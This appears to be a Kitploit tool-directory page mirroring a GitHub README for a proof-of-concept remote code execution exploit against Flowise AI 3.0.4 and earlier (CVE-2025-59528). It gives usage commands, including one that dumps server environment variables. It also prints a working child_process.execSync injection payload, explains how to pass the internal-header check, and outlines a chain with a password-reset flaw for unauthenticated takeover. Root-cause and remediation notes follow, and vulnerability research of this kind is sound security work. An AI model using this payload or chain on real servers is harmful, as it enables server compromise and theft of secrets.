Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Flowise-RCE-CVE-2025-59528 — Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps. | Kitploit
Tools/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubr3nsi15/flowise-rce-cve-2025-59528

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.

Flowise-RCE-CVE-2025-59528

View Repository
14 months agoNot yet reviewed
Share

CVE-2025-59528 — Flowise AI Authenticated Remote Code Execution (RCE)

Overview

CVE ID: CVE-2025-59528
Affected Software: Flowise AI
Vulnerable Versions: <= 3.0.4
Fixed Version: 3.0.5 and later
Severity: Critical
Author: r3nsi15
Date: 2025

Description

Flowise AI versions up to and including 3.0.4 allow an authenticated user to achieve Remote Code Execution (RCE) on the host server by sending a crafted JavaScript payload to the /api/v1/node-load-method/customMCP endpoint.

The customMCP node's load method accepts user-controlled input that is evaluated server-side as JavaScript, without adequate sanitization or sandboxing. By injecting a payload that leverages Node.js's child_process.execSync, an attacker can run arbitrary operating system commands with the privileges of the Flowise server process.

The endpoint also requires the x-request-from: internal header to be present.

Affected Endpoint

EndpointMethodAuth RequiredPurpose
/api/v1/auth/loginPOSTNoAuthenticate and obtain session
/api/v1/node-load-method/customMCP

Proof of Concept

File: CVE-2025-59528_POC.py

Requirements

  • Python 3.x
  • requests library
  • Valid credentials for any user account on the target Flowise instance
root@kitploit:~
pip install requests

Usage

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Arguments

Examples

Verify code execution:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Retrieve server environment variables:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Expected Output

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Payload Breakdown

The exploit injects the following JavaScript expression into the mcpServerConfig field:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — loads Node.js's built-in process execution module.
  • execSync('<command>') — synchronously runs the attacker-supplied OS command.
  • The entire expression is wrapped in an object literal to ensure it evaluates cleanly within the server's JavaScript context.

The x-request-from: internal header is also appended to the request to pass an internal origin check that would otherwise block the call.

Root Cause

The customMCP endpoint passes user-supplied input directly into a JavaScript evaluation context on the server without sanitization or sandboxing. Combined with unrestricted access to Node.js core modules (specifically child_process) via process.mainModule.require, this creates a trivially exploitable RCE vector. The x-request-from header check provides no meaningful security boundary as it is not validated against any trusted source.

Chaining with CVE-2025-58434

These two vulnerabilities can be chained for an unauthenticated RCE attack path against Flowise instances running versions <= 3.0.4:

  1. Use CVE-2025-58434 to reset the password of any known account (no prior authentication needed).
  2. Log in with the newly set credentials.
  3. Use CVE-2025-59528 to execute arbitrary OS commands on the server.

Remediation

  • Upgrade to Flowise AI 3.0.5 or later, which removes or properly sandboxes the vulnerable evaluation path.
  • Never evaluate user-controlled strings as code in a server-side context.
  • Restrict access to dangerous Node.js modules (child_process, fs, etc.) via a proper sandbox (e.g., vm2, isolated contexts, or removing process.mainModule access).
  • Validate and authenticate the x-request-from header through a server-side mechanism rather than a simple string check.
  • Apply the principle of least privilege to the Flowise server process.

Disclaimer

This proof of concept is provided for educational and authorized security research purposes only. Use of this script against systems without explicit written permission is illegal and unethical. The author and contributors assume no liability for misuse.

Download Tool
POST
Yes (session cookie)
Vulnerable node load method endpoint
FlagLong FormRequiredDescription
-e--emailYesAuthenticated user's email address
-i--urlYesBase URL of the Flowise instance
-p--passwordYesAuthenticated user's password
-c--cmdYesOS command to execute on the server